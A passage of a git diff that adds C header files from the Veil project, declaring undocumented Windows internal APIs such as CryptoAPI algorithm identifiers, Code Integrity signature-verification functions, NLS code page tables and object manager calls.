ALG_SID_HMAC 9 +#define ALG_SID_TLS1PRF 10 +#if (NTDDI_VERSION >= NTDDI_WINXP) +#define ALG_SID_HASH_REPLACE_OWF 11 +#endif //(NTDDI_VERSION >= NTDDI_WINXP) +#if (NTDDI_VERSION > NTDDI_WINXPSP2) +#define ALG_SID_SHA_256 12 +#define ALG_SID_SHA_384 13 +#define ALG_SID_SHA_512 14 +#endif //(NTDDI_VERSION > NTDDI_WINXPSP2) + +// secure channel sub ids +#define ALG_SID_SSL3_MASTER 1 +#define ALG_SID_SCHANNEL_MASTER_HASH 2 +#define ALG_SID_SCHANNEL_MAC_KEY 3 +#define ALG_SID_PCT1_MASTER 4 +#define ALG_SID_SSL2_MASTER 5 +#define ALG_SID_TLS1_MASTER 6 +#define ALG_SID_SCHANNEL_ENC_KEY 7 + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// misc ECC sub ids +#define ALG_SID_ECMQV 1 +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +// Our silly example sub-id +#define ALG_SID_EXAMPLE 80 + +// certenrolls_begin -- PROV_ENUMALGS_EX +#ifndef ALGIDDEF +#define ALGIDDEF +typedef unsigned int ALG_ID; +#endif +// certenrolls_end + +// algorithm identifier definitions +#define CALG_MD2 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2) +#define CALG_MD4 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4) +#define CALG_MD5 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5) +#define CALG_SHA (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA) +#define CALG_SHA1 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1) +#define CALG_MAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MAC) // Deprecated. Don't use. +#define CALG_RSA_SIGN (ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY) +#define CALG_DSS_SIGN (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY) +#if (NTDDI_VERSION >= NTDDI_WINXP) +#define CALG_NO_SIGN (ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY) +#endif //(NTDDI_VERSION >= NTDDI_WINXP) +#define CALG_RSA_KEYX (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_RSA|ALG_SID_RSA_ANY) +#define CALG_DES (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DES) +#define CALG_3DES_112 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES_112) +#define CALG_3DES (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES) +#define CALG_DESX (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DESX) +#define CALG_RC2 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC2) +#define CALG_RC4 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_RC4) +#define CALG_SEAL (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_SEAL) +#define CALG_DH_SF (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_SANDF) +#define CALG_DH_EPHEM (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_EPHEM) +#define CALG_AGREEDKEY_ANY (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_AGREED_KEY_ANY) +#define CALG_KEA_KEYX (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_KEA) +#define CALG_HUGHES_MD5 (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_ANY|ALG_SID_MD5) +#define CALG_SKIPJACK (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_SKIPJACK) +#define CALG_TEK (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_TEK) +#define CALG_CYLINK_MEK (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_CYLINK_MEK) // Deprecated. Do not use +#define CALG_SSL3_SHAMD5 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5) +#define CALG_SSL3_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL3_MASTER) +#define CALG_SCHANNEL_MASTER_HASH (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MASTER_HASH) +#define CALG_SCHANNEL_MAC_KEY (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MAC_KEY) +#define CALG_SCHANNEL_ENC_KEY (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_ENC_KEY) +#define CALG_PCT1_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_PCT1_MASTER) +#define CALG_SSL2_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL2_MASTER) +#define CALG_TLS1_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_TLS1_MASTER) +#define CALG_RC5 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC5) +#define CALG_HMAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC) +#define CALG_TLS1PRF (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF) +#if (NTDDI_VERSION >= NTDDI_WINXP) +#define CALG_HASH_REPLACE_OWF (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF) +#define CALG_AES_128 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_128) +#define CALG_AES_192 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_192) +#define CALG_AES_256 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_256) +#define CALG_AES (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES) +#endif //(NTDDI_VERSION >= NTDDI_WINXP) +#if (NTDDI_VERSION > NTDDI_WINXPSP2) +#define CALG_SHA_256 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256) +#define CALG_SHA_384 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384) +#define CALG_SHA_512 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512) +#endif //(NTDDI_VERSION > NTDDI_WINXPSP2) +#if (NTDDI_VERSION >= NTDDI_VISTA) +#define CALG_ECDH (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH) +#define CALG_ECDH_EPHEM (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ECDH | ALG_SID_ECDH_EPHEM) +#define CALG_ECMQV (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV) +#define CALG_ECDSA (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA) +#define CALG_NULLCIPHER (ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_ANY | 0) +#endif //(NTDDI_VERSION >= NTDDI_VISTA) +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +#define CALG_THIRDPARTY_KEY_EXCHANGE (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY) +#define CALG_THIRDPARTY_SIGNATURE (ALG_CLASS_SIGNATURE | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY) +#define CALG_THIRDPARTY_CIPHER (ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY) +#define CALG_THIRDPARTY_HASH (ALG_CLASS_HASH | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY) +#endif //(NTDDI_VERSION >= NTDDI_WIN10_RS1) + +#include +typedef struct _MINCRYPTOAPI_BLOB +{ + UINT32 Size; + _Field_size_bytes_(Size) UINT8* Data; + +} MINCRYPT_INTEGER_BLOB, * PMINCRYPT_INTEGER_BLOB, +MINCRYPT_UINT_BLOB, * PMINCRYPT_UINT_BLOB, +MINCRYPT_OBJID_BLOB, * PMINCRYPT_OBJID_BLOB, +MINCERT_NAME_BLOB, * PMINCERT_NAME_BLOB, +MINCERT_RDN_VALUE_BLOB, * PMINCERT_RDN_VALUE_BLOB, +MINCERT_BLOB, * PMINCERT_BLOB, +MINCRL_BLOB, * PMINCRL_BLOB, +MINCRYPT_DATA_BLOB, * PMINCRYPT_DATA_BLOB, +MINCRYPT_HASH_BLOB, * PMINCRYPT_HASH_BLOB, +MINCRYPT_DIGEST_BLOB, * PMINCRYPT_DIGEST_BLOB, +MINCRYPT_DER_BLOB, * PMINCRYPT_DER_BLOB, +MINCRYPT_ATTR_BLOB, * PMINCRYPT_ATTR_BLOB; + +typedef struct _MINCRYPT_NAME_BLOB +{ + _Field_size_bytes_(Size) PCHAR Data; + USHORT Size; + +}MINCRYPT_NAME_BLOB, * PMINCRYPT_NAME_BLOB; + +#define MINCRYPT_MAX_HASH_LENGTH (64) +#define MINCRYPT_SHA1_LENGTH (160/8) +#define MINCRYPT_SHA256_LENGTH (256/8) + +typedef struct _MINCRYPT_CHAIN_ELEMENT +{ + ALG_ID HashAlgId; // CALG_SHA1, CALG_SHA_256 + UINT32 HashSize; // SHA1(160bit/8), SHA256(256bit/8) + UINT8 Hash[MINCRYPT_MAX_HASH_LENGTH]; + + MINCRYPT_NAME_BLOB Subject; + MINCRYPT_NAME_BLOB Issuer; + + MINCERT_BLOB Certificate; + +}MINCRYPT_CHAIN_ELEMENT, * PMINCRYPT_CHAIN_ELEMENT; + +typedef struct _MINCRYPT_CHAIN_INFO +{ + UINT32 Size; + + MINCERT_BLOB* PublicKeys; + UINT32 NumberOfPublicKeys; + + MINCERT_BLOB* EKUs; + UINT32 NumberOfEKUs; + +#if (NTDDI_VERSION >= NTDDI_WIN10) + + PMINCRYPT_CHAIN_ELEMENT ChainElements; + UINT32 NumberOfChainElement; + + // ASN.1 blob of authenticated attributes - spcSpOpusInfo, contentType, etc. + MINCRYPT_ATTR_BLOB AuthenticodeAttributes; + + // UINT8 Hash[32]; + +#endif // NTDDI_VERSION >= NTDDI_WIN10 + + /* memory layout */ + + // EKUs[NumberOfEKUs] + + // PublicKeys[NumberOfPublicKeys] + + // AuthenticodeAttributes.Data[AuthenticodeAttributes.Size] + + // ChainElements[NumberOfChainElement] + +}MINCRYPT_CHAIN_INFO, * PMINCRYPT_CHAIN_INFO; + +typedef struct _MINCRYPT_POLICY_INFO +{ + UINT32 Size; + UINT32 VerificationStatus; + UINT32 PolicyBits; + + MINCRYPT_CHAIN_INFO* ChainInfo; + + LARGE_INTEGER RevocationTime; // When was the certificate revoked (if applicable) + +#if (NTDDI_VERSION >= NTDDI_WIN10) + + LARGE_INTEGER NotBefore; // The certificate is not valid before this time + LARGE_INTEGER NotAfter; // The certificate is not valid after this time + +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +}MINCRYPT_POLICY_INFO, PMINCRYPT_POLICY_INFO; +#include + + +/** +* Resets a PolicyInfo struct - frees the dynamically allocated buffer in PolicyInfo (ChainInfo) if not null. +* Zeros the entire PolicyInfo struct. +* +* @param PolicyInfo - the struct to reset. +* +* @return the struct which was reset. +*/ +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +PVOID +NTAPI +CiFreePolicyInfo( + _Inout_ MINCRYPT_POLICY_INFO* PolicyInfo +); + + +/** +* Win7SP1-Win8.1 only (KB3033929 installed). Use CiValidateFileObject on Win10! +* +* Given a file digest and signature of a file, verify the signature and provide information regarding +* the certificates that was used for signing (the entire certificate chain) +* +* @note must be attached to the PsInitialSystemProcess first! +* +* @param Hash - buffer containing the digest +* +* @param HashSize - size of the digest, e.g. 0x14(160bit) for SHA1, 0x20(256bit) for SHA256 +* +* @param HashAlgId - digest algorithm identifier, e.g. CALG_SHA1(0x8004), CALG_SHA_256(0x800C) +* +* @param SecurityDirectory - pointer to the start of the security directory +* +* @param SizeOfSecurityDirectory - size the security directory +* +* @param PolicyInfo[out] - PolicyInfo containing information about the signer certificate chain +* +* @param SigningTime[out] - when the file was signed (FILETIME format) +* +* @param TimeStampPolicyInfo[out] - PolicyInfo containing information about the timestamping authority (TSA) certificate chain +* +* @return STATUS_SUCCESS if the file digest in the signature matches the given digest and the signer cetificate is verified. +* Various error values otherwise, for example: +* STATUS_INVALID_IMAGE_HASH - the digest does not match the digest in the signature +* STATUS_IMAGE_CERT_REVOKED - the certificate used for signing the file is revoked +* STATUS_IMAGE_CERT_EXPIRED - the certificate used for signing the file has expired +*/ +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiCheckSignedFile( + _In_ PVOID Hash, + _In_ UINT32 HashSize, + _In_ ALG_ID HashAlgId, + _In_ PVOID SecurityDirectory, + _In_ UINT32 SizeOfSecurityDirectory, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo +); + + +/** +* Win7SP1-Win8.1 only (KB3033929 installed). Use CiValidateFileObject on Win10! +* +* Checks if the SHA-1 message digest is contained within a verified system catalog +* +* @note must be attached to the PsInitialSystemProcess first! +* +* @param Hash - buffer containing the digest +* +* @param HashSize - size of the digest, e.g. 0x14(160bit) for SHA1, 0x20(256bit) for SHA256 +* +* @param HashAlgId - digest algorithm identifier, e.g. CALG_SHA1(0x8004), CALG_SHA_256(0x800C) +* +* @param IsReloadCatalogs - is reload catalogs cache. +* +* @param Always0 - this is for IsReloadCatalogs, Always0 != 0 ? 16 : 24; +* +* @param Always2007F - unknown, always 0x2007F, maybe a mask. +* +* @param PolicyInfo[out] - PolicyInfo containing information about the signer certificate chain. +* +* @param CatalogName[out option] - catalog file name. +* +* @param SigningTime[out] - when the file was signed (FILETIME format) +* +* @param TimeStampPolicyInfo[out] - PolicyInfo containing information about the timestamping authority (TSA) certificate chain. +* +* @return STATUS_SUCCESS if the file digest in the signature matches the given digest and the signer cetificate is verified. +* Various error values otherwise, for example: +* STATUS_INVALID_IMAGE_HASH - the digest does not match the digest in the signature +* STATUS_IMAGE_CERT_REVOKED - the certificate used for signing the file is revoked +* STATUS_IMAGE_CERT_EXPIRED - the certificate used for signing the file has expired +*/ +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiVerifyHashInCatalog( + _In_ PVOID Hash, + _In_ UINT32 HashSize, + _In_ ALG_ID HashAlgId, + _In_ BOOLEAN IsReloadCatalogs, + _In_ UINT32 Always0, + _In_ UINT32 Always2007F, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_opt_ UNICODE_STRING* CatalogName, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo +); + + +#if (NTDDI_VERSION >= NTDDI_WIN10) + +typedef +_IRQL_requires_same_ +_Function_class_(MINCRYPT_ALLOCATE_ROUTINE) +__drv_allocatesMem(Mem) +PVOID +NTAPI +MINCRYPT_ALLOCATE_ROUTINE( + _In_ SIZE_T ByteSize +); +typedef MINCRYPT_ALLOCATE_ROUTINE* PMINCRYPT_ALLOCATE_ROUTINE; + +/** +* Parse the publisher name from the certificate +* +* @param Certificate - &PolicyInfo.ChainInfo->ChainElements[x].Certificate +* +* @param AllocateRoutine - used to allocate PublisherName buffer. +* +* @param PublisherName[out] - publisher name. +* +* @return buffer length. +*/ +MINCRYPTAPI +NTSTATUS +NTAPI +CiGetCertPublisherName( + _In_ MINCERT_BLOB* Certificate, + _In_ PMINCRYPT_ALLOCATE_ROUTINE AllocateRoutine, + _Out_ PUNICODE_STRING PublisherName +); + + +MINCRYPTAPI +VOID +NTAPI +CiSetTrustedOriginClaimId( + _In_ UINT32 ClaimId +); + +/** +* Given a file object, verify the signature and provide information regarding +* the certificates that was used for signing (the entire certificate chain) +* +* @param FileObject - FileObject of the PE in question +* +* @param Unkonwn1 - unknown, 0 is a valid value. (Unkonwn1 and Unkonwn2 together calculate the minimum support algorithm) +* +* @param Unkonwn2 - unknown, 0 is a valid value. (^ the words above refer to 'CipGetHashAlgorithmForLegacyScenario') +* +* @param PolicyInfo[out] - PolicyInfo containing information about the signer certificate chain. +* +* @param TimeStampPolicyInfo[out] - PolicyInfo containing information about the timestamping authority (TSA) certificate chain. +* +* @param SigningTime[out] - when the file was signed (FILETIME format) +* +* @param Hash - buffer containing the digest +* +* @param HashSize - size of the digest, e.g. 0x14(160bit) for SHA1, 0x20(256bit) for SHA256 +* +* @param HashAlgId - digest algorithm identifier, e.g. CALG_SHA1(0x8004), CALG_SHA_256(0x800C) +* +* @return STATUS_SUCCESS if the file digest in the signature matches the given digest and the signer cetificate is verified. +* Various error values otherwise, for example: +* STATUS_INVALID_IMAGE_HASH - the digest does not match the digest in the signature +* STATUS_IMAGE_CERT_REVOKED - the certificate used for signing the file is revoked +* STATUS_IMAGE_CERT_EXPIRED - the certificate used for signing the file has expired +*/ +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiValidateFileObject( + _In_ FILE_OBJECT* FileObject, + _In_opt_ UINT32 Unkonwn1, + _In_opt_ UINT32 Unkonwn2, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ UINT8* Hash, + _Inout_ UINT32* HashSize, + _Out_ ALG_ID* HashAlgId +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Nls.h b/include/Veil/Veil/Veil.System.Nls.h new file mode 100644 index 0000000..bfd8459 --- /dev/null +++ b/include/Veil/Veil/Veil.System.Nls.h @@ -0,0 +1,120 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + + /* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + + /* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + + // Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +NTSYSAPI USHORT NlsAnsiCodePage; + +#ifndef _KERNEL_MODE + +#ifdef _NTSYSTEM_ + +// Try to avoid these, the preferred system ACP/OEMCP is UTF-8 and these are then irrelevent +#define NLS_MB_CODE_PAGE_TAG NlsMbCodePageTag +#define NLS_MB_OEM_CODE_PAGE_TAG NlsMbOemCodePageTag + +#else + +// Try to avoid these, the preferred system ACP/OEMCP is UTF-8 and these are then irrelevent +#define NLS_MB_CODE_PAGE_TAG (*NlsMbCodePageTag) +#define NLS_MB_OEM_CODE_PAGE_TAG (*NlsMbOemCodePageTag) + +#endif // _NTSYSTEM_ + +extern BOOLEAN NLS_MB_CODE_PAGE_TAG; // TRUE -> Multibyte CP, FALSE -> Singlebyte +extern BOOLEAN NLS_MB_OEM_CODE_PAGE_TAG; // TRUE -> Multibyte CP, FALSE -> Singlebyte + +#define MAXIMUM_LEADBYTES 12 + +typedef struct _CPTABLEINFO +{ + USHORT CodePage; + USHORT MaximumCharacterSize; + USHORT DefaultChar; + USHORT UniDefaultChar; + USHORT TransDefaultChar; + USHORT TransUniDefaultChar; + USHORT DBCSCodePage; + UCHAR LeadByte[MAXIMUM_LEADBYTES]; + PUSHORT MultiByteTable; + PVOID WideCharTable; + PUSHORT DBCSRanges; + PUSHORT DBCSOffsets; +} CPTABLEINFO, * PCPTABLEINFO; + +typedef struct _NLSTABLEINFO +{ + CPTABLEINFO OemTableInfo; + CPTABLEINFO AnsiTableInfo; + PUSHORT UpperCaseTable; + PUSHORT LowerCaseTable; +} NLSTABLEINFO, * PNLSTABLEINFO; + +#else // !_KERNEL_MODE + +// +// Code Page Default Values. +// Please Use Unicode, either UTF-16 (as in WCHAR) or UTF-8 (code page CP_ACP) +// +#define CP_ACP 0 // default to ANSI code page +#define CP_OEMCP 1 // default to OEM code page +#define CP_MACCP 2 // default to MAC code page +#define CP_THREAD_ACP 3 // current thread's ANSI code page +#define CP_SYMBOL 42 // SYMBOL translations + +#define CP_UTF7 65000 // UTF-7 translation +#define CP_UTF8 65001 // UTF-8 translation + +#include + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.ObjectManager.h b/include/Veil/Veil/Veil.System.ObjectManager.h new file mode 100644 index 0000000..6c4f5e7 --- /dev/null +++ b/include/Veil/Veil/Veil.System.ObjectManager.h @@ -0,0 +1,1352 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifndef _KERNEL_MODE +// +// Object Manager Object Type Specific Access Rights. +// + +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +// +// Object Manager Directory Specific Access Rights. +// + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) + +// +// Object Manager Symbolic Link Specific Access Rights. +// + +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_SET (0x0002) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) +#define SYMBOLIC_LINK_ALL_ACCESS_EX (STANDARD_RIGHTS_REQUIRED | 0xFFFF) +#endif // !_KERNEL_MODE + +#ifndef _KERNEL_MODE +typedef enum _OBJECT_INFORMATION_CLASS +{ + ObjectBasicInformation, // q: OBJECT_BASIC_INFORMATION + ObjectNameInformation, // q: OBJECT_NAME_INFORMATION + ObjectTypeInformation, // q: OBJECT_TYPE_INFORMATION + ObjectTypesInformation, // q: OBJECT_TYPES_INFORMATION + ObjectHandleFlagInformation, // qs: OBJECT_HANDLE_FLAG_INFORMATION + ObjectSessionInformation, // s: void // change object session // (requires SeTcbPrivilege) + ObjectSessionObjectInformation, // s: void // change object session // (requires SeTcbPrivilege) + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; +#else +#define ObjectBasicInformation ((_OBJECT_INFORMATION_CLASS)0) +#define ObjectNameInformation ((_OBJECT_INFORMATION_CLASS)1) +#define ObjectTypeInformation ((_OBJECT_INFORMATION_CLASS)2) +#define ObjectTypesInformation ((_OBJECT_INFORMATION_CLASS)3) +#define ObjectHandleFlagInformation ((_OBJECT_INFORMATION_CLASS)4) +#define ObjectSessionInformation ((_OBJECT_INFORMATION_CLASS)5) +#define ObjectSessionObjectInformation ((_OBJECT_INFORMATION_CLASS)6) +#endif // !_KERNEL_MODE + +typedef struct _OBJECT_BASIC_INFORMATION +{ + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, * POBJECT_BASIC_INFORMATION; + +#ifndef _KERNEL_MODE +typedef struct _OBJECT_NAME_INFORMATION +{ + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; +#endif // !_KERNEL_MODE + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + UCHAR TypeIndex; // since WINBLUE + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; +} OBJECT_TYPES_INFORMATION, * POBJECT_TYPES_INFORMATION; + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, * POBJECT_HANDLE_FLAG_INFORMATION; + +// +// Objects, handles +// + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationObject( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationObject( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength +); + +#define DUPLICATE_SAME_ATTRIBUTES 0x00000004 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS 